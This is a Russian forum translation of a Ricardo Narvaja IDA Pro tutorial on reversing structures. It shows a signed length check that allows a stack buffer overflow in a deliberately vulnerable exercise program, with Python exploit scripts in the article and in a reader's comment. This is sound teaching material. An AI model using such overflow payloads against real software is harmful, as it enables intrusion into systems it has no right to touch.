Введение в реверсинг с нуля, используя IDA PRO. Часть 26.

Дата публикации 3 дек 2017 | Редактировалось 12 дек 2017
Концепция программирования, при которой большая часть нужных нам данных сгруппирована в структурах, имеет большой смысл.

Если я, например, создам программу, в которой будет использоваться много разных типов данных и они будут передаваться в функции при вызове - получится слишком сложно. Когда мы используем структуры, мы группируем все эти данные и просто используем адрес начала структуры. В любой части программы мы может изменить любое поле структуры.

Давайте разберем следующий пример (здесь мы видим начало небольшой программы)

[​IMG]

Мы видим, что в этом примере есть структура MyStruct, она определена глобально (имеется ввиду прототип структуры), что дает нам возможность обрабатывать ее между функциями чуточку удобнее. Но не стоит забывать, что объект pepe структуры MyStruct существует локально в стеке функции main (мы не имеем к нему доступ вне функции main). Конечно, это не единственный вариант объявления структуры, об этом позже (на самом деле объявление объекта любой структуры подразумевает из себя выделение n-ого количества байт в памяти, после чего в объект структуры ложится адрес начала этого самого блока байт).

[​IMG]

Тут мы можем видеть прототип самой структуры (а так же функцию check, аргументом которой является указатель на структуры MyStruct - таким образом осуществляется передача локальной структуры в другие функции).

[​IMG]

Теперь мы понимаем, зачем нужно передавать указатель на структуру pepe аргументом к неким функциям - это позволяет читать/изменять значения этой структуры в вызываемой процедуре.

Я компилирую этот пример с символами (на самом деле он все же скомпилировал его без символов), но это мне не очень сильно помогает, так как IDA сложно определить, что pepe является структурой.

[​IMG]

Мы можем видеть здесь, внутри функции main, буфер Buf.

Давайте посмотрим на его длину с помощью IDA.

[​IMG]

Мы видим, что его длина равна 16 элементам, по 1 байту каждый, всего 16 байт. Но пока мы не взглянем на код, работающий с этим буфером, мы не сможем узнать поля этой структуры.

Оке, согласимся с длинной, предложенной IDA.

[​IMG]

Мы видим другие локальные переменные. Если нажать X - увидим места, где они используются.

[​IMG]

Видно, что все инициализируется нулями и не используется повторно, это подозрительно.

А вот канарейка (CANARY)

[​IMG]

Здесь больше нет переменных. Мы не можем присвоить имена этим трем переменным, так как не понимаем, для чего они нужны. Они просто заполняются нулями и все. Исходя из таких сведений невозможно присвоить им имена.

Давайте взглянем на вызов первой функции.

[​IMG]

Мы видим, что первым аргументом в нее передается наш буфер, а значит, возможно, именно внутри этой функции происходит его заполнение.

Давайте перейдем внутрь этой функции.

[​IMG]

Я переименовал аргумент в pBuffer, так как это адрес нашего буфера.

Если нажать Y - мы сможем изменить прототип функции.

[​IMG]

[​IMG]

Давайте выйдем из этой функции и перейдем к месту, откуда в нее входили.

[​IMG]

Здесь мы можем видеть, как IDA добавила комментарий напротив инструкции передачи аргумента.

Вновь войдем внутрь этой функции.

[​IMG]

Здесь присутствует еще одно подозрительное место. Размер буфера - 16 или же 0x10 байт. Мы видим, как к указателю на буфер прибавляется 0x10. А затем полученный адрес используется ниже.

Это является прямым признаком использования структуры - передается базовый адрес, через который, путем прибавления смещений, мы получаем доступ к любому из полей структуры.

Давайте глянем на стек функции main.

[​IMG]

Как мы можем видеть, полученный адрес обращается к переменной var_10. Такое может произойти, если и Buf, и var_10 являются элементами одной структуры.

Многие люди могли задуматься, почему я смотрю на стек функции main, вместо стека функции enter?

Дело в том, что в функцию enter мы передаем указатель на буфер, который расположен внутри стекового фрейма функции main. Таким образом, если мы добавим смещение 0x10 к этому указателю внутри функции enter - полученный адрес будет все равно находиться внутри стекового фрейма функции main и указывать на переменную var_10.

Что ж, на данный момент мы видим, что...

[​IMG]

Внутри функции запрашивается число через scanf и сохраняется в поле var_10 некой структуры, давайте переименуем это поле в number. Но прежде чем это сделать, мы все же объявим структуру с тремя полями (мы ведь уже знаем, что в ней находится именно три поля).

[​IMG]

Я возвращаюсь в функцию main, выделяю первые четыре переменные (вплоть до CANARY), а затем нажимаю EDIT->CREATE STRUCTURE FROM SELECTION.

[​IMG]

Теперь мы создали структуру, но ее объект называется Buf. Давайте переименуем его в pepe.

[​IMG]

Так же переименуем прототип структуры struct_0 в MyStruct.

[​IMG]

Еще переименуем var_10 в numero (numero с испанского переводится как number на английский).

[​IMG]

В функции main, где объявлена эта структура, мы можем заметить, что все выглядит замечательно.

Давайте вернемся к функции enter.

[​IMG]

Я поменял имя первого аргумента на ppepe (мы ведь помним, что первый аргумент этой функции - указатель на структуру pepe). Далее нажимаем Y и меняем соглашение функции.

[​IMG]

Продолжаем реверсить.

[​IMG]

Здесь используется одно из полей структуры по смещению 0x14 (базовый адрес структуры перемещается в регистр ECX, который затем используется для косвенной адресации). Просто нажимаем T на этой инструкции.

[​IMG]

Здесь мы выбираем, какая структура соответствует нашей переменной. В предложенном списке находится MyStruct.

[​IMG]

Выбираем необходимое поле этой структуры. Сама IDA не способна этого сделать, так как она содержит множество структур, поэтому мы ей поможем.

Здесь мы видим цикл, в котором вызывается getchar до тех пор, пока не будет введен символ 0x0A. Введенный символ сохраняется в структуре MyStruct со смещением 0x0C (можем назвать это поле структуры как угодно).

[​IMG]

Каждый раз при использовании поля структуры нам необходимо добавлять смещение к базовому адресу.

[​IMG]

Здесь мы снова обращаемся к полю структуры. Нажимаем T, выбираем поле структуры.

[​IMG]

Это конец проверки, идем дальше.

[​IMG]

Дальше эта функция ничего не делает и нечего не возвращает в регистре EAX.

Она просто считывает некий номер средством scanf и сохраняет его в поле numero структуры MyStruct.

Давайте перейдем к функции check

[​IMG]

Переименуем Buff в pepe.

[​IMG]

Нажмем Y и изменим прототип функции.

Здесь мы видим, как сравнивается поле структуры со значением 0x10. Нажимаем T и выбираем поле numero.

[​IMG]

Введенное нами знаковое число сравнивается с 0x10. Это довольно опасная операция, если это число используется в качестве длины чего-то.

При работе со структурами мы видим, что одно поле может считываться в первой функции, проверяться во второй, а затем, возможно, использоваться в третьей. Если мы будем следовать за указателем на на структуру - мы всегда сможем определить, что это за поле, даже, без использования отладчика. При работе с простыми переменными - задача усложняется.

[​IMG]

Еще одно поле. Нажимаем T.

[​IMG]

Здесь видно, что поле numero используется как второй аргумент функции gets_s (максимальная длина строки, которую можно считать - 1). Первым же аргументом передается поле Buf (буфер, куда будет сохранена строка). Таким образом здесь возможно переполнение буфера: поле numero сравнивается с 0x10 как signed int. Если в numero мы положим -1 (0xFFFFFFFF) - проверка пройдет успешно и мы сможем сохранить произвольное количество байт в наш буфер.

[​IMG]

В последнюю функцию также передается указатель на структуру MyStruct. Давайте переименуем и исправим все.

[​IMG]

Там помещается адрес структуры в регистр EAX. Затем используется еще одно поле этой структуры по смещению 0x18.

[​IMG]

Мы сравниваем это поле со значением 0x45934215. Давайте переименуем его в cookie. Само поле нигде раньше не изменялось, однако воспользовавшись переполнением буфера мы с легкостью сможем его изменить.

[​IMG]

Если результат сравнения положительный - нам выводится сообщение о том, что мы сделали все успешно. Само поле cookie нигде раньше не изменялось, однако воспользовавшись переполнением буфера мы с легкостью сможем его изменить. Давайте взглянем на стек функции main.

[​IMG]

Конечно, мы не забыли, что все поля структуры MyStruct находятся внутри объекта pepe. Давайте посмотрим на их размер.

[​IMG]

Нам необходимо заполнить Buf 16-ю символами, затем заполнить два двойных слова (8 байт - 8 символов) и только после этого мы доберемся до cookie. Пэйлоад будет выглядеть так:
Код (Text):
  1.  
  2. fruta= "A" * 16 + numero + c + cookie
  3.  
Этот скрипт похож на предыдущий, который мы писали ранее:
Код (Text):
  1.  
  2. from subprocess import *
  3. import struct
  4. p = Popen([r'C:\Users\ricna\Documents\Visual Studio
  5. 2015\Projects\ConsoleApplication4\Release\ConsoleApplication4.exe',
  6. 'f'], stdout=PIPE, stdin=PIPE, stderr=STDOUT)
  7. print "ATACHEA EL DEBUGGER Y APRETA ENTER\n"
  8. raw_input()
  9. primera="-1\n"
  10. p.stdin.write(primera)
  11. numero=struct.pack("<L",0x1c)
  12. c=struct.pack("<L",0x90909090)
  13. cookie=struct.pack("<L",0x45934215)
  14. fruta= "A" * 16 + numero + c + cookie + "\n"
  15. p.stdin.write(fruta)
  16. testresult = p.communicate()[0]
  17. print(testresult)
  18.  
Мы видим, здесь передается -1 для прохождения проверки на максимальную длину буфера. Затем передается сама строка, который состоит из 16 байт под буфер + 4 байта для максимальной длины буфера + 4 байта для temp-переменной + 4 байта под куки. Все значения, кроме кук, могут быть рандомными.

[​IMG]

Ну-с, на этом заканчиваем 26-ю часть.

В приложении к статье вы найдете упражнение под названием IDA_STRUCT.7z. Проверьте, уязвимо ли оно, и что с ним можно сделать.
========================================================
Автор текста: Рикардо Нарваха - Ricardo Narvaja (@ricnar456)
Перевод на английский: IvinsonCLS (@IvinsonCLS)
Перевод на русский с испанского+английского: Яша_Добрый_Хакер(Ростовский фанат Нарвахи).
Перевод специально для форума системного и низкоуровневого программирования — WASM.IN
03.12.2017
Версия 1.0

14 7.983
unc1e

unc1e
Active Member

Регистрация:
28 июл 2017
Публикаций:
2

Комментарии


      1. s1mple 12 янв 2023
        Подскажите пожалуйста, почему у меня вместо картинок текст IMG?
      2. Kulagin 8 дек 2021
        Зареверсил сегодня IDA_STRUCT сам без помощи из 27-ой части:
        [​IMG]

        Даже в сами регистры добавил инфу, что в них хранится: push ecx:&MyObject. Я не мог понять, как начать добавлять аннотации как для переменных в памяти: когда вместо lea ecx, [ebp-С] показывает перменную с именем: lea ecx, [ebp+myObject], но не для переменных в памяти, а для самих регистров: push ecx, сегодня наконец-то понял как: при помощи горячей клавиши для опции Manual..., которая доступна для переменных в памяти, но недоступна, когда есть только сам регистр:
        [​IMG]
        [​IMG]

        Опция недоступна из меню для самих регистров без оффсетов, но её можно активировать если нажать Alt+F1.

        Мое решение:
        Код (Text):
        1.  
        2. from subprocess import *
        3. import time
        4.  
        5. p = Popen([r'ConsoleApplication4.exe', 'f'], stdout=PIPE, stdin=PIPE, stderr=STDOUT)
        6.  
        7. print "ATACHEA EL DEBUGGER Y APRETA ENTER\n"
        8. raw_input()
        9.  
        10. obj1number1 = "-1\n"
        11. p.stdin.write(obj1number1)
        12.  
        13. obj1number2 = "A" * 0x18 + "\x96\x97\x98\x99" + "\n"
        14. p.stdin.write(obj1number2)
        15.  
        16. obj2number1 = "-1\n"
        17. p.stdin.write(obj2number1)
        18.  
        19. obj2number2 = "A" * 0x18 + "\x36\x35\x34\x33" + "\n"
        20. p.stdin.write(obj2number2)
        21.  
        22. testresult = p.communicate()[0]
        23.  
        24. print(testresult)
        25.  

        [​IMG]
      3. unc1e 18 дек 2017
      4. fontbyself 18 дек 2017
        а что это за IDE это PyCharm ? Python ?
      5. yashechka 16 дек 2017
        Это займёт время, т.к. там 40к страниц.
      6. fontbyself 16 дек 2017
        Отличная статья, ждем продолжения =)
        yashechka нравится это.
      7. fontbyself 16 дек 2017
        Отличная статья, ждем продолжения =)
        yashechka нравится это.
      8. yashechka 14 дек 2017
        :boredom::boredom::boredom:Заболел
      9. jkmjkmjkm 12 дек 2017
      10. yashechka 12 дек 2017
        В следующей главе 40 страниц, придёться потрудиться.
      11. yashechka 3 дек 2017
        Вместе веселей :yes::yes::yes:
      12. unc1e 3 дек 2017
        yashechka,
        как это не вы!? Хватит скромничать))
        yashechka нравится это.
      13. yashechka 3 дек 2017
        Только подпись подправьте, не я же переводил:good2::good2::good2:
      14. yashechka 3 дек 2017
        Класс:preved::preved::preved:
        Пишите Алексею, чтобы он опубликовал:preved::preved::preved: